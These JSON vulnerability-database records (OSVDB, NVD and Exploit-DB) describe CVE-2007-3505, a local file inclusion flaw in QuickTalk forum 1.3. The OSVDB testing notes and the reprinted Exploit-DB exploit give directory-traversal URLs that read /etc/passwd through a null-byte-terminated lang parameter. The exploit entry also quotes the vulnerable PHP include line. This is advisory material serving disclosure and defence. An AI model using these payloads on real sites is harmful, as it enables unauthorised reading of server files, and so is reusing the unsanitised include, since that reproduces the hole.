{"bulletinFamily": "software", "viewCount": 1, "reporter": "OSVDB", "references": [], "description": "## Manual Testing Notes\nhttp://[target]/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00\n## References:\n[Secunia Advisory ID:25868](https://secuniaresearch.flexerasoftware.com/advisories/25868/)\n[Related OSVDB ID: 36486](https://vulners.com/osvdb/OSVDB:36486)\n[Related OSVDB ID: 36487](https://vulners.com/osvdb/OSVDB:36487)\nOther Advisory URL: http://milw0rm.com/exploits/4115\nISS X-Force ID: 35117\nFrSIRT Advisory: ADV-2007-2373\n[CVE-2007-3505](https://vulners.com/cve/CVE-2007-3505)\nBugtraq ID: 24671\n", "affectedSoftware": [], "href": "https://vulners.com/osvdb/OSVDB:36485", "modified": "2007-06-27T00:00:00", "enchantments": {"score": {"value": 6.5, "vector": "NONE", "modified": "2017-04-28T13:20:32", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2007-3505"]}, {"type": "exploitdb", "idList": ["EDB-ID:4115"]}, {"type": "osvdb", "idList": ["OSVDB:36486", "OSVDB:36487"]}], "modified": "2017-04-28T13:20:32", "rev": 2}, "vulnersScore": 6.5}, "id": "OSVDB:36485", "title": "QuickTalk forum qtf_checkname.php lang Variable Local File Inclusion", "edition": 1, "published": "2007-06-27T00:00:00", "type": "osvdb", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "cvelist": ["CVE-2007-3505"], "lastseen": "2017-04-28T13:20:32"}

{"cve": [{"lastseen": "2021-02-02T05:31:24", "description": "Multiple directory traversal vulnerabilities in QuickTalk forum 1.3 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) sequence in the lang parameter to (1) qtf_checkname.php, (2) qtf_j_birth.php, or (3) qtf_j_exists.php.\nSuccessful exploitation requires that \"magic_quotes_gpc\" is disabled.", "edition": 4, "cvss3": {}, "published": "2007-07-02T19:30:00", "title": "CVE-2007-3505", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 6.4, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-3505"], "modified": "2017-10-19T01:30:00", "cpe": ["cpe:/a:qt-cute:quicktalk_forum:1.3"], "id": "CVE-2007-3505", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-3505", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:qt-cute:quicktalk_forum:1.3:*:*:*:*:*:*:*"]}], "osvdb": [{"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2007-3505"], "description": "## Manual Testing Notes\nhttp://[target]/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00\n## References:\n[Secunia Advisory ID:25868](https://secuniaresearch.flexerasoftware.com/advisories/25868/)\n[Related OSVDB ID: 36485](https://vulners.com/osvdb/OSVDB:36485)\n[Related OSVDB ID: 36487](https://vulners.com/osvdb/OSVDB:36487)\nOther Advisory URL: http://milw0rm.com/exploits/4115\nISS X-Force ID: 35117\nFrSIRT Advisory: ADV-2007-2373\n[CVE-2007-3505](https://vulners.com/cve/CVE-2007-3505)\nBugtraq ID: 24671\n", "edition": 1, "modified": "2007-06-27T00:00:00", "published": "2007-06-27T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:36486", "id": "OSVDB:36486", "title": "QuickTalk forum qtf_j_birth.php lang Variable Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}, {"lastseen": "2017-04-28T13:20:32", "bulletinFamily": "software", "cvelist": ["CVE-2007-3505"], "description": "## Manual Testing Notes\nhttp://[target]/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00\n## References:\n[Secunia Advisory ID:25868](https://secuniaresearch.flexerasoftware.com/advisories/25868/)\n[Related OSVDB ID: 36486](https://vulners.com/osvdb/OSVDB:36486)\n[Related OSVDB ID: 36485](https://vulners.com/osvdb/OSVDB:36485)\nOther Advisory URL: http://milw0rm.com/exploits/4115\nISS X-Force ID: 35117\nFrSIRT Advisory: ADV-2007-2373\n[CVE-2007-3505](https://vulners.com/cve/CVE-2007-3505)\nBugtraq ID: 24671\n", "edition": 1, "modified": "2007-06-27T00:00:00", "published": "2007-06-27T00:00:00", "href": "https://vulners.com/osvdb/OSVDB:36487", "id": "OSVDB:36487", "title": "QuickTalk forum qtf_j_exists.php lang Variable Local File Inclusion", "type": "osvdb", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}], "exploitdb": [{"lastseen": "2016-01-31T20:11:33", "description": "QuickTalk forum 1.3 (lang) Local File Inclusion Vulnerabilities. CVE-2007-3505. Webapps exploit for php platform", "published": "2007-06-27T00:00:00", "type": "exploitdb", "title": "QuickTalk forum 1.3 lang Local File Inclusion Vulnerabilities", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-3505"], "modified": "2007-06-27T00:00:00", "id": "EDB-ID:4115", "href": "https://www.exploit-db.com/exploits/4115/", "sourceData": "###QuickTalk forum v1.3 Local File Inclusion###\n\n#download: http://www.qt-cute.org/download/qtf13.zip\n\n#found by: katatafish (karatatata@hush.com)\n\n#vulncode:\n $strLang = $_GET[\"lang\"];\n include(\"language/$strLang/qtf_lang_reg.inc\");\n\n#exploits:\n\n http://www.site.com/[path]/qtf_checkname.php?lang=./../../../../../../../../../../etc/passwd%00\n http://www.site.com/[path]/qtf_j_birth.php?lang=./../../../../../../../../../../etc/passwd%00\n http://www.site.com/[path]/qtf_j_exists.php?lang=./../../../../../../../../../../etc/passwd%00\n\n#thanks:str0ke\n\n# milw0rm.com [2007-06-27]\n", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/4115/"}]}